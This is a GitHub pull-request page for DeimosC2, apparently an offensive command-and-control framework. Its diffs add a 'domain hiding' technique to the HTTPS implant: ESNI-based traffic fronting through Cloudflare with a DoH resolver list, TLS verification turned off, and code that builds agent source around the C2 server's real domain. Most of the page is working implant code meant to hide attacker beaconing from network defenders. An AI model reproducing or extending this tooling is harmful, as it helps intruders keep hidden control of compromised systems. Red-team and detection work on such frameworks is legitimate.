Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Develop #25

Merged
merged 26 commits into from
Aug 10, 2020
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
26 commits
Select commit Hold shift + click to select a range
6e38949
Fix #3 Properly parse pipe command
developeruz Jul 23, 2020
7c62914
Built FE and verified PR #4 works
DeimosC2 Jul 23, 2020
daeeefb
Merge pull request #4 from DeimosC2/bug/3-pipe-command
paragonsec Jul 23, 2020
189b32f
Fix webshell interact page
developeruz Jul 25, 2020
544aee0
Refactoring and fix php-webshell
developeruz Jul 25, 2020
5028c55
Merge pull request #5 from DeimosC2/ui/webshell
paragonsec Jul 27, 2020
73fb513
Merge pull request #6 from DeimosC2/webshell/php
paragonsec Jul 27, 2020
5c75a6a
Fix #10 Agent comments align strangely
developeruz Jul 28, 2020
08ecb1a
Build FE + Confirmed PR
paragonsec Jul 28, 2020
a06b33a
Merge pull request #11 from DeimosC2/gui/10-comment-align
paragonsec Jul 28, 2020
e48bf34
Fix #8 and #9 Agent Loot Table
developeruz Jul 28, 2020
8e71a54
Merge branch 'develop' of https://github.com/DeimosC2/DeimosC2 into g…
paragonsec Jul 28, 2020
0791ad8
Build FE + Test PR
paragonsec Jul 28, 2020
8fd22bd
Merge pull request #12 from DeimosC2/gui/9-list-agent-loot
paragonsec Jul 28, 2020
de93c3d
Fixed bug on replay of engagement
paragonsec Jul 29, 2020
2a014e6
Merge pull request #13 from DeimosC2/hotfix/replay_bug
paragonsec Jul 29, 2020
86ccfef
Pull request template
paragonsec Jul 29, 2020
b04cbbd
Removed Debug Code
CharlesDardaman Jul 30, 2020
71ffbb6
Working on domain hiding
paragonsec Aug 7, 2020
f60cbac
remove weird folder that came out of thin air.
paragonsec Aug 7, 2020
9d2836b
Fix http call error
paragonsec Aug 7, 2020
b8b3756
Remove debug code
paragonsec Aug 7, 2020
d56e6ab
Made techniques for agent compiling cleaner and added domain hiding
paragonsec Aug 9, 2020
8231695
Remove code that isn't needed
paragonsec Aug 10, 2020
243a239
Removed front domain name as SNI no longer works
paragonsec Aug 10, 2020
8b9f573
Merge pull request #24 from DeimosC2/feature/domain_hiding
paragonsec Aug 10, 2020
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 33 additions & 0 deletions .github/PULL_REQUEST_TEMPLATE/pull_request_template.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
# Description

Please include a summary of the change and which issue is fixed. Please also include relevant motivation and context.

Fixes # (issue)

## Type of change

Please delete options that are not relevant.

- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] This change requires a documentation update

# How Has This Been Tested?

Please describe the tests that you ran to verify your changes. Provide instructions so we can reproduce. Please also list any relevant details for your test configuration

- [ ] Test A
- [ ] Test B

**Test Configuration**:
* DeimosC2 Build Version:
* Operating System:
* If agent or module, OS ran against:

# Checklist:

- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] My changes generate no new warnings
- [ ] I have added tests that prove my fix is effective or that my feature works
1 change: 0 additions & 1 deletion agents/doh/doh_agent.go
Original file line number Diff line number Diff line change
Expand Up @@ -49,7 +49,6 @@ var jitter = {{JITTER}} //%jitter in communications
var eol = "{{EOL}}" //Time to die, Format: 2019-06-30
var liveHours = "{{LIVEHOURS}}" //Times of the day this can operate, Format: 05:00-21:00
var stringPubKey = `{{PUBKEY}}`
var pubKey = []byte{45, 45, 45, 45, 45, 66, 69, 71, 73, 78, 32, 82, 83, 65, 32, 80, 85, 66, 76, 73, 67, 32, 75, 69, 89, 45, 45, 45, 45, 45, 10, 77, 73, 73, 66, 73, 106, 65, 78, 66, 103, 107, 113, 104, 107, 105, 71, 57, 119, 48, 66, 65, 81, 69, 70, 65, 65, 79, 67, 65, 81, 56, 65, 77, 73, 73, 66, 67, 103, 75, 67, 65, 81, 69, 65, 122, 68, 116, 89, 88, 50, 56, 67, 82, 79, 122, 80, 89, 72, 74, 109, 98, 48, 78, 54, 10, 49, 117, 118, 69, 47, 117, 69, 82, 113, 83, 104, 75, 101, 68, 73, 50, 113, 52, 48, 114, 121, 86, 43, 57, 76, 107, 113, 106, 117, 88, 118, 122, 104, 121, 54, 49, 43, 47, 72, 105, 117, 118, 108, 65, 66, 89, 86, 109, 55, 107, 55, 112, 86, 87, 116, 122, 108, 57, 86, 114, 78, 97, 80, 72, 10, 101, 74, 112, 69, 108, 52, 118, 68, 89, 76, 90, 47, 115, 53, 109, 78, 111, 72, 120, 74, 106, 108, 84, 117, 110, 54, 100, 77, 121, 70, 111, 106, 73, 99, 105, 56, 105, 82, 43, 50, 56, 78, 120, 120, 101, 88, 122, 111, 57, 55, 108, 102, 90, 76, 53, 97, 100, 100, 104, 82, 105, 52, 66, 84, 10, 74, 70, 55, 65, 99, 100, 108, 105, 122, 119, 83, 106, 111, 99, 69, 48, 88, 113, 51, 84, 69, 109, 108, 77, 106, 76, 114, 49, 99, 67, 69, 85, 109, 99, 122, 87, 121, 80, 67, 47, 77, 48, 67, 82, 57, 85, 113, 54, 105, 110, 114, 106, 69, 43, 89, 67, 89, 105, 80, 78, 75, 71, 76, 110, 10, 89, 71, 118, 88, 107, 108, 54, 55, 88, 71, 103, 74, 113, 81, 120, 52, 111, 72, 52, 47, 67, 109, 88, 86, 99, 112, 110, 71, 71, 88, 87, 112, 56, 65, 112, 88, 99, 80, 111, 55, 78, 77, 105, 100, 71, 121, 72, 109, 85, 81, 47, 68, 104, 86, 81, 114, 47, 69, 112, 90, 67, 75, 118, 109, 10, 99, 88, 87, 120, 52, 52, 67, 51, 100, 85, 98, 107, 87, 50, 71, 55, 49, 118, 105, 122, 90, 72, 99, 50, 100, 115, 109, 121, 101, 84, 69, 49, 80, 122, 82, 56, 71, 56, 66, 111, 108, 54, 121, 47, 76, 49, 75, 51, 83, 57, 68, 65, 75, 105, 104, 68, 116, 109, 83, 109, 47, 83, 49, 117, 10, 78, 119, 73, 68, 65, 81, 65, 66, 10, 45, 45, 45, 45, 45, 69, 78, 68, 32, 82, 83, 65, 32, 80, 85, 66, 76, 73, 67, 32, 75, 69, 89, 45, 45, 45, 45, 45, 10}

//var domain = "doj.network" //Domain to be used for DNS stuff
var firsttime = "{{FIRSTTIME}}"
Expand Down
17 changes: 9 additions & 8 deletions agents/https/https_agent.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@ package main
import (
"bytes"
"crypto/rand"
"crypto/tls"
"encoding/base64"
"encoding/binary"
"encoding/hex"
Expand All @@ -18,6 +17,7 @@ import (
"runtime"
"strconv"
mrand "math/rand"
{{DYNAMIC_IMPORTS}}

"github.com/DeimosC2/DeimosC2/agents/resources/agentfunctions"
"github.com/DeimosC2/DeimosC2/agents/resources/selfdestruction"
Expand Down Expand Up @@ -45,13 +45,19 @@ var moduleloc = "/{{MODULELOC}}"
var pivotloc = "/{{PIVOTLOC}}"
var modPort int

{{DYNAMIC_VARIABLES}}


//ModData is used for RPC
type ModData int

func main() {
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
//Listener public key converted to bytes
pubKey = []byte(stringPubKey)

{{DYNAMIC_MAIN_CODE}}


for {
agentfunctions.CheckTime(liveHours)
if key == "" || key == "000000000000000000000000000000000000"{
Expand All @@ -74,11 +80,6 @@ func connect(connType string, data string) {
key = string(sendMsg(firsttime, msg))
case "check_in":
checkIn()
default:
//temp debugging
//logging.Logger.Println("default called")
// message := []byte("encrypted and decrypted message")
// sendMsg(conn, message, []byte("0"))
}
}

Expand All @@ -99,7 +100,7 @@ func sendMsg(msgType string, data []byte) []byte {
encMsg := crypto.Encrypt(data, aesKey)
final := append(encPub, encMsg...)
fullMessage = final
r, err := http.Post(("https://" + host + ":" + port + msgType), "application/json", bytes.NewBuffer(fullMessage))
r, err := {{DYNAMIC_HTTP_POST_CALL}}
if err != nil {
agentfunctions.ErrHandling(err.Error())
}
Expand Down
172 changes: 172 additions & 0 deletions agents/resources/domainhiding/esni_DoH.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,172 @@
// Copyright (c) 2020, SIXGEN Inc
// All rights reserved.

// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of SIXGEN nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.

// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

// Based on https://github.com/ahhh/godns (No license)
package domainhiding

import (
"crypto/tls"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"log"
"math/rand"
"net/http"
"strings"
"time"
)

var resolvers = []string{
"https://dns.twnic.tw/dns-query",
"https://doh-2.seby.io/dns-query",
// "https://dns.containerpi.com/dns-query", // Down?
"https://cloudflare-dns.com/dns-query",
"https://doh-fi.blahdns.com/dns-query",
"https://doh-jp.blahdns.com/dns-query",
"https://doh-de.blahdns.com/dns-query",
"https://dns.dns-over-https.com/dns-query",
"https://doh.securedns.eu/dns-query",
"https://dns.rubyfish.cn/dns-query",
"https://mozilla.cloudflare-dns.com/dns-query", // Firefox uses this as default (allowed by Untangle)
"https://trr.dns.nextdns.io/dns-query", // Firefox has this as an option (not allowed by Untangle)
"https://dns.google/dns-query",
"https://dns10.quad9.net/dns-query",
"https://doh.dns.sb/dns-query",
}

type DNSResponse struct {
Status int `json:"Status"`
TC bool `json:"TC"`
RD bool `json:"RD"`
AD bool `json:"AD"`
CD bool `json:"CD"`
Question []Question `json:"Question"`
Answer []Answer `json:"Answer"`
}

type Question struct {
Name string `json:"name"`
Type int `json:"type"`
}

type Answer struct {
Name string `json:"name"`
Type int `json:"type"`
TTL int `json:"TTL"`
Data string `json:"data"`
}

func trimQuotes(s string) string {
if len(s) >= 2 {
if s[0] == '"' && s[len(s)-1] == '"' {
return s[1 : len(s)-1]
}
}
return s
}

func shuffle(src []string) []string {
final := make([]string, len(src))
rand.Seed(time.Now().UnixNano())
perm := rand.Perm(len(src))

for i, v := range perm {
final[v] = src[i]
}
return final
}

// For cleaner logging
type logWriter struct {
}

func (writer logWriter) Write(bytes []byte) (int, error) {
return fmt.Print(string(bytes))
}

func QueryESNIKeysForHostDoH(hostname string, insecureSkipVerify bool) ([]byte, error) {
log.SetFlags(0)
log.SetOutput(new(logWriter))
myResolvers := shuffle(resolvers)
for _, resolverTarget := range myResolvers {
//fmt.Println("[+] Using resolver: " + resolverTarget)
response, err := BaseRequest(resolverTarget, "_esni."+hostname, "TXT", insecureSkipVerify)
if err != nil {
log.Printf("[E] Error: %v", err)
// Try the next resolver
continue
}
var responseJson DNSResponse
// log.Println(response)
json.Unmarshal([]byte(response), &responseJson)
if len(responseJson.Answer) == 0 {
return nil, errors.New("got no data from DNS query")
}
data := trimQuotes(responseJson.Answer[0].Data)
// log.Println(data)
dataBytes, err := base64.StdEncoding.DecodeString(data)
if err != nil && strings.HasPrefix(err.Error(), "illegal base64 data") {
log.Printf("[!] Could not decode response, possible CNAME")
return QueryESNIKeysForHostDoH("cloudflare.com", insecureSkipVerify) // All CF domains use the same key, worth a shot
} else if err != nil {
log.Printf("[E] Error: %v", err)

} else {
// log.Println(dataBytes)
return dataBytes, nil
}
}
return nil, errors.New("no resolver could be reached")
}

// BaseRequest makes a DNS over HTTP (DOH) GET request for a specified query
func BaseRequest(server, query, qtype string, insecureSkipVerify bool) (string, error) {
//encquery := base64.StdEncoding.EncodeToString([]byte(query))
//encquery = url.QueryEscape(encquery)
qurl := server + "?name=" + query + "&type=" + qtype
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: insecureSkipVerify},
TLSHandshakeTimeout: time.Second * 5,
}
client := &http.Client{Transport: tr}
req, _ := http.NewRequest("GET", qurl, nil)
req.Header.Set("accept", "application/dns-json")
res, err := client.Do(req)
if err != nil {
log.Printf("[E] Error getting the url")
return "", err
}
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Printf("[E] Error getting the url")
return "", err
}
return string(body), nil
}
66 changes: 66 additions & 0 deletions c2/agents/techniques/httpstechniques/domainhiding.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
package httpstechniques

import (
"strings"
)

//Variables for Domain Hiding
var (
//Code from https://github.com/SixGenInc/Noctilucent/blob/master/DeimosC2/HTTPS_agent.go
hiddenCodeMain string = `
esniKeysBytes, _ := domainhiding.QueryESNIKeysForHostDoH("cloudflare.com", true)
esnikeys, _ := tls.ParseESNIKeys(esniKeysBytes)

tlsConfig := &tls.Config{
InsecureSkipVerify: true,
ClientESNIKeys: esnikeys,
MinVersion: tls.VersionTLS13, // Force TLS 1.3
MaxVersion: tls.VersionTLS13,
ESNIServerName: actualDomain,
PreserveSNI: false}

var (
conn *tls.Conn
)

var err error
httpClient = &http.Client{
Transport: &http.Transport{
DialTLS: func(network, addr string) (net.Conn, error) {
conn, err = tls.Dial("tcp", host+":"+port, tlsConfig)
return conn, err
},
},
}`

//Imports required for domain hiding
hiddenImports string = `
"github.com/SixGenInc/Noctilucent/tls"
"github.com/DeimosC2/DeimosC2/agents/resources/domainhiding"
`

//Dynamic variables required for domain hiding (aligned left)
hiddenDynamicVariables string = `var actualDomain = "{{ACTUALDOMAIN}}"
var httpClient *http.Client
`

//HTTP Post code for send message function required for domain hiding
hiddenHTTPPostCall string = `httpClient.Post(("https://" + actualDomain + ":" + port + msgType), "application/json", bytes.NewBuffer(fullMessage))`
)

//StageDomainHiddenCode will dynamically create the code for the requested technique
func StageDomainHiddenCode(output string, frontDomainIP string, frontDomainPort string, actualDomain string) string {
//Start building the code
output = strings.Replace(string(output), "{{DYNAMIC_IMPORTS}}", hiddenImports, -1)
output = strings.Replace(string(output), "{{HOST}}", frontDomainIP, -1)
output = strings.Replace(string(output), "{{PORT}}", frontDomainPort, -1)

replaceVariables := strings.NewReplacer("{{ACTUALDOMAIN}}", actualDomain)
output = strings.Replace(string(output), "{{DYNAMIC_VARIABLES}}", replaceVariables.Replace(hiddenDynamicVariables), -1)

output = strings.Replace(string(output), "{{DYNAMIC_MAIN_CODE}}", hiddenCodeMain, -1)

output = strings.Replace(string(output), "{{DYNAMIC_HTTP_POST_CALL}}", hiddenHTTPPostCall, -1)

return output
}
33 changes: 33 additions & 0 deletions c2/agents/techniques/httpstechniques/normal.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
package httpstechniques

import "strings"

//Non-DomainHiding Code
var (
//Normal HTTPS agent configuration code
mainCode string = "http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}"

//Imports required for normal HTTPS Agent operations
imports string = `
"crypto/tls"
`

//HTTP Post code for send message function required for domain hiding
httpPostCall string = `http.Post(("https://" + host + ":" + port + msgType), "application/json", bytes.NewBuffer(fullMessage))`
)

//StageNormalCode will dynamically create the code for the requested technique
func StageNormalCode(output string, host string, port string) string {
//Start building the code
output = strings.Replace(string(output), "{{DYNAMIC_IMPORTS}}", imports, -1)
output = strings.Replace(string(output), "{{HOST}}", host, -1)
output = strings.Replace(string(output), "{{PORT}}", port, -1)

output = strings.Replace(string(output), "{{DYNAMIC_VARIABLES}}", "", -1)

output = strings.Replace(string(output), "{{DYNAMIC_MAIN_CODE}}", mainCode, -1)

output = strings.Replace(string(output), "{{DYNAMIC_HTTP_POST_CALL}}", httpPostCall, -1)

return output
}
Loading